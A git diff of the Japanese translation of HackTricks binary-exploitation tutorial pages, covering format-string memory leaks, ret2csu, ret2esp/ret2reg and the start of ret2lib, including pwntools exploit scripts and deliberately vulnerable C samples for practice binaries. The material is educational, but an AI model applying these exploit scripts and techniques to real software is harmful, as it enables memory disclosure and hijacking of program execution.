ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする** -* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
-## コード +## バイナリの読み取り開始 + +### コード +```c +#include + +int main(void) { +char buffer[30]; + +fgets(buffer, sizeof(buffer), stdin); + +printf(buffer); +return 0; +} +``` +コンパイル方法: +```python +clang -o fs-read fs-read.c -Wno-format-security -no-pie +``` +### 攻撃 +```python +from pwn import * + +p = process('./fs-read') + +payload = f"%11$s|||||".encode() +payload += p64(0x00400000) + +p.sendline(payload) +log.info(p.clean()) +``` +* **オフセットは11** です。いくつかのAを設定し、ループでオフセットを0から50まで試行した結果、オフセット11で追加の5文字(今回はパイプ`|`)を使用すると、完全なアドレスを制御できることがわかりました。 +* 私は**`%11$p`**を使用し、アドレスがすべて0x4141414141414141であることを確認しました。 +* **フォーマット文字列ペイロードはアドレスの前に配置**されます。なぜなら**printfはヌルバイトで読み取りを停止**するため、アドレスを送信してからフォーマット文字列を送信すると、printfはフォーマット文字列に到達することができません。 +* 選択したアドレスは0x00400000です。これはバイナリの開始地点であり(PIEなし)、そのため選択しました。 + +
+ +## パスワードを読む ```c #include #include @@ -51,7 +89,7 @@ clang -o fs-read fs-read.c -Wno-format-security ``` ### スタックから読み取る -**`stack_password`** はローカル変数なので、スタックに保存されます。そのため、printfを悪用してスタックの内容を表示するだけで十分です。これは、スタックからパスワードを漏洩させるために最初の100個の位置をBFするエクスプロイトです。 +**`stack_password`** はローカル変数であるため、スタックに格納されます。そのため、単に printf を悪用してスタックの内容を表示すれば十分です。これは、スタックからパスワードを漏洩させるために最初の100個の位置にBFを悪用するエクスプロイトです。 ```python from pwn import * @@ -64,35 +102,87 @@ output = p.clean() print(output) p.close() ``` -画像では、スタックから`10番目`の位置にあるパスワードを漏洩させることが可能であることがわかります。 - -
- -
- -同じエクスプロイトを実行するが、`%s`の代わりに`%p`を使用すると、スタックからヒープアドレスを漏洩させることが可能であり、そのアドレスは`%5$p`にあります。 - -
- -
+画像では、スタックからパスワードを`10番目`の位置から漏洩させることができることがわかります:
-漏洩したアドレスとパスワードのアドレスとの違いは次の通りです: +
+ +### データの読み取り + +同じエクスプロイトを実行するが、`%s`の代わりに`%p`を使用すると、スタックからヒープアドレスを`%25$p`で漏洩させることができます。さらに、プロセス内のメモリ内のパスワードの位置と漏洩したアドレス(`0xaaaab7030894`)を比較することで、アドレスの差を取得できます: + +
+ +これで、スタック内の1つのアドレスを制御して、2番目のフォーマット文字列の脆弱性からアクセスする方法を見つける時が来ました: +```python +from pwn import * + +def leak_heap(p): +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) + +for i in range(30): +p = process("./fs-read") + +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") + +password_addr = heap_leak_addr - 0x126a + +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" + +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` -> print 0xaaaaaaac12b2 - 0xaaaaaaac0048 -$1 = 0x126a +そして、使用されたパッチングで**try 14**でアドレスを制御できることがわかります。 +```python +from pwn import * + +p = process("./fs-read") + +def leak_heap(p): +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) + +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") + +# Offset calculated from the leaked position to the possition of the pass in memory +password_addr = heap_leak_addr + 0x1f7bc + +print(f"Calculated address is: {hex(password_addr)}") + +# At offset 14 we can control the addres, so use %s to read the string from that address +payload = f"%14$s|||".encode() +payload += p64(password_addr) + +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` +
+
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**。
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 1b188b5ba..a56596d02 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,13 +4,13 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。 @@ -18,13 +18,13 @@ HackTricksをサポートする他の方法: ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報 -**ret2csu**は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための**ガジェット**が見つからない場合に使用されるハッキング技術です。 +**ret2csu** は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための **ガジェット** を見つけることができない場合に使用されるハッキングテクニックです。 -プログラムが特定のライブラリ(例:libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に`__libc_csu_init`と呼ばれる1つの隠れた宝石として機能するものがあります。 +プログラムが特定のライブラリ(例: libc)を使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる1つの隠れた宝石として機能するものがあります。 -### \_\_libc\_csu\_initのマジックガジェット +### \_\_libc\_csu\_init にあるマジックガジェット -**`__libc_csu_init`**には、強調すべき2つの命令シーケンス(ガジェット)があります: +**`__libc_csu_init`** には、強調すべき2つの命令シーケンス(ガジェット)があります: 1. 最初のシーケンスでは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定できます。これらは、後で使用する数値やアドレスを格納できるスロットのようなものです。 ```armasm @@ -36,18 +36,18 @@ pop r14; pop r15; ret; ``` -このガジェットを使用すると、スタックから値をポップしてそれらを使用してこれらのレジスタを制御できます。 +このガジェットを使用すると、スタックから値をポップしてそれらをレジスタで制御できます。 -2. 2番目のシーケンスでは、設定した値を使用して次のことを行います: -* **特定の値を他のレジスタに移動**して、それらを関数のパラメータとして使用できるようにします。 -* r15とrbxの値を足し合わせて、rbxを8倍にした場所に**コールを実行**します。 +2. 2番目のシーケンスでは、設定した値を使用して次のことを行います: +* **他のレジスタに特定の値を移動**して、それらを関数のパラメータとして使用できるようにします。 +* r15とrbxの値を足し合わせ、その後rbxを8倍して決定される場所に**コールを実行**します。 ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -2. もしかしたら、そこに書き込むアドレスがわからず、`ret` 命令が必要になるかもしれません。2番目のガジェットも `ret` で終わりますが、それに到達するためにはいくつかの条件を満たす必要があります: +2. もしかしたら、そこに書き込むアドレスがわからず、`ret` 命令が必要になるかもしれません。2番目のガジェットも `ret` で終わりますが、到達するためにはいくつかの条件を満たす必要があります。 ```armasm mov rdx, r15; mov rsi, r14; @@ -59,10 +59,10 @@ jnz ... ret ``` -次の条件が必要です: +以下は条件です: -- `[r12 + rbx*8]` は、呼び出し可能な関数を指すアドレスを指している必要があります(アイデアがなく、PIEもない場合は、単に `_init` 関数を使用できます)。 -- もし `_init` が `0x400560` にある場合、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がそのポインタを持つアドレスになるようにします。 +- `[r12 + rbx*8]` は、呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIE もない場合は、単に `_init` 関数を使用できます): +- もし `_init` が `0x400560` にある場合は、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がポインタを持つアドレスであるようにします: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 @@ -72,16 +72,16 @@ gef➤ search-pattern 0x400560 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` -* `rbp` と `rbx` は同じ値を持っている必要がありますジャンプを回避するため -* 考慮すべき省略されたポップがいくつかあります +* `rbp` と `rbx` は同じ値を持たなければジャンプを回避できない +* 考慮すべき省略されたポップがいくつかある ## RDI と RSI ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-詳細については、このページをチェックしてください: +詳細についてはこのページをチェックしてください: {% content-ref url="brop-blind-return-oriented-programming.md" %} [brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md) @@ -91,12 +91,12 @@ ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方 ### コールの使用 -システムコールを行い、または `write()` のような関数を呼び出したいとしますが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。 +システムコールを行い、`write()` のような関数を呼び出したいとしますが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想定してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。 ここで **ret2csu** が登場します: -1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。 -2. **2番目のガジェットを使用**: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。 +1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に格納します。 +2. **第二のガジェットの使用**: これらのレジスタが設定されたら、第二のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。 [**このテクニックを使用して説明した例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) があり、それに使用された最終的なエクスプロイトは次のとおりです: ```python @@ -123,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` {% hint style="warning" %} -前のエクスプロイトは **`RCE`** を行うためではなく、単に `win` という関数を呼び出すことを意図しています(`win` のアドレスを stdin から取得し、ROP チェーン内の gets を呼び出して r15 に格納します)。3番目の引数に値 `0xdeadbeefcafed00d` を指定しています。 +前のエクスプロイトは**`RCE`**を行うためではなく、単に`win`という関数を呼び出すことを意図しています(`win`のアドレスをROPチェーン内のgetsでstdinから取得し、r15に格納します)。3番目の引数に値`0xdeadbeefcafed00d`を指定して`win`関数を呼び出します。 {% endhint %} -### コールをバイパスして ret に到達する +### 呼び出しをバイパスしてretに到達する -次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) から抽出されました。ここでは **ret2csu** が使用されていますが、コールの代わりに **比較をバイパスして `ret` に到達**しています。 +次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)から抽出されました。ここでは**ret2csu**が使用されていますが、呼び出しではなく、比較をバイパスして呼び出し後の`ret`に到達しています。 ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -180,4 +180,4 @@ target.interactive() ``` ### なぜ直接libcを使用しないのですか? -通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、**時にはlibcで直接見つけることが困難なガジェットを使用して制御する必要がある**場合もあります。たとえば、`write()` 関数は3つのパラメータが必要であり、これらを直接設定するためのガジェットを見つけることができないことがあります。 +通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、**直接libcで見つかるガジェットだけでは制御する必要があるパラメーターが多すぎる場合**があります。たとえば、`write()` 関数には3つのパラメーターが必要であり、これらを直接設定するためのガジェットを見つけることができないことがあります。 diff --git a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 11c5ebf80..01e315dd9 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,13 +4,13 @@ AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 @@ -18,7 +18,7 @@ HackTricksをサポートする他の方法: **ESP(スタックポインタ)は常にスタックの先頭を指すため**、このテクニックはEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードが上書きされたEIPの直後に配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、つまりシェルコードが格納されている場所を指します。 -WindowsまたはLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかる`jmp esp`または`call esp`命令を使用することが可能です。ただし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を脆弱なプログラム自体で探す必要があるかもしれません(かつ[**PIE**](../common-binary-protections-and-bypasses/pie/)を打破する必要があるかもしれません)。 +WindowsまたはLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかる`jmp esp`または`call esp`命令を使用することが可能です。ただし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を脆弱なプログラム内で探す必要があります(かつ[**PIE**](../common-binary-protections-and-bypasses/pie/)を打破する必要があるかもしれません)。 さらに、シェルコードを**EIPの破損後に配置**できることは、スタックの中央ではなく後ろに配置することを意味し、関数の動作中に実行される`push`または`pop`命令がシェルコードに干渉しないようにします。シェルコードが関数のスタックの中央に配置された場合、この干渉が発生する可能性があります。 @@ -53,7 +53,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -別のこのテクニックの例を[https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`jmp esp;`がシェルコードにジャンプします。 +別のこの技術の例を[https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`jmp esp;`がシェルコードにジャンプします。 ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -90,7 +90,7 @@ target.interactive() ``` ## Ret2reg -同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、**`call eax`**または**`jmp eax`**命令(**ret2eax**テクニックとして知られています)を活用することができ、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む**他のレジスタ**を使用することもできます(**ret2reg**)。 +同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、**`call eax`** または **`jmp eax`** 命令(**ret2eax** テクニックとして知られています)を利用して、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む**他のレジスタ**を使用することもできます(**ret2reg**)。 ### 例 @@ -98,13 +98,13 @@ target.interactive() * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) -* **`strcpy`**は、シェルコードが格納されているバッファのアドレスを**`eax`**に格納し、**`eax`**が上書きされていないため、`ret2eax`を使用することが可能です。 +* **`strcpy`** は、シェルコードが格納されているバッファのアドレスを **`eax`** に格納し、**`eax`** が上書きされていないため、`ret2eax` を使用することが可能です。 ## ARM64 ### Ret2sp -ARM64では、**SPレジスタにジャンプする**命令は**存在しません**。SPをレジスタに移動させ、その後そのレジスタにジャンプするガジェットを見つけることが可能かもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。 +ARM64では、**SPレジスタにジャンプする**命令は存在しません。**SPをレジスタに移動させ、その後そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。 ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; @@ -112,13 +112,13 @@ done ``` {% endcode %} -見つけた唯一のものは、ジャンプする前にコピーされたspのレジストリの値を変更するものでした(そのため、それは無効になります): +見つけた唯一のものは、sp がコピーされるレジストリの値を変更してからジャンプするものでした(そのため、それは無効になります): -
+
### Ret2reg -もしレジストリに興味深いアドレスがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます: +もしレジストリに興味深いアドレスがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます: {% code overflow="wrap" %} ```bash @@ -126,9 +126,9 @@ ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0 ``` {% endcode %} -ARM64では、関数の戻り値は**`x0`**に格納されるため、x0がユーザーによって制御されるバッファのアドレスを格納している可能性があり、それにはシェルコードが含まれています。 +ARM64では、関数の戻り値は**`x0`**に格納されるため、x0がユーザーによって制御されたバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。 -例のコード: +例のコード: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -153,15 +153,15 @@ do_stuff(2) return 0; } ``` -関数の逆アセンブリをチェックすると、**バッファのアドレス**(bofに対して脆弱であり、**ユーザーによって制御されている**)が、バッファオーバーフローから戻る前に**`x0`に格納されている**ことがわかります: +関数の逆アセンブリをチェックすると、**バッファへのアドレス**(bofに脆弱であり、**ユーザーによって制御されている**)が、バッファオーバーフローから戻る前に**`x0`に格納されている**ことがわかります: -
+
-また、**`do_stuff`** 関数内でガジェット **`br x0`** を見つけることも可能です: +また、**`do_stuff`** 関数内で **`br x0`** ガジェットを見つけることも可能です: -
+
-バイナリが**PIEなしでコンパイル**されているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、**バッファオーバーフローのオフセットが80**であることがわかります。したがって、攻撃手法は次のとおりです: +バイナリが**PIEなしでコンパイル**されているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、**バッファオーバーフローのオフセットが80**であることがわかります。したがって、エクスプロイトは次のようになります: ```python from pwn import * @@ -177,13 +177,13 @@ p.sendline(payload) p.interactive() ``` {% hint style="warning" %} -もし`fgets`の代わりに**`read`**のようなものが使われていた場合、**戻り値アドレスの最後の2バイトだけを上書きして**、完全なアドレスを知らなくても`br x0;`命令に戻ることが可能で、PIEをバイパスすることができました。\ -`fgets`では、**末尾にヌル(0x00)バイトが追加**されるため、うまくいきません。 +もし`fgets`の代わりに**`read`**のようなものが使われていたら、PIEをバイパスすることが可能であり、**リターンアドレスの最後の2バイトのみを上書き**して、完全なアドレスを知る必要なく`br x0;`命令に戻ることができたでしょう。\ +`fgets`では、それが**末尾にヌル(0x00)バイトを追加**するため、うまくいきません。 {% endhint %} ## 保護 -* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行不可の場合、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。 +* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行不可であれば、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。 * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらは、espや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。 ## 参考文献 @@ -193,14 +193,14 @@ p.interactive()
-htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)**で **ゼロからヒーローまでAWSハッキングを学びましょう** HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる +* [**公式PEASS & HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index f948e138d..225504578 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -4,28 +4,28 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい** または **HackTricks 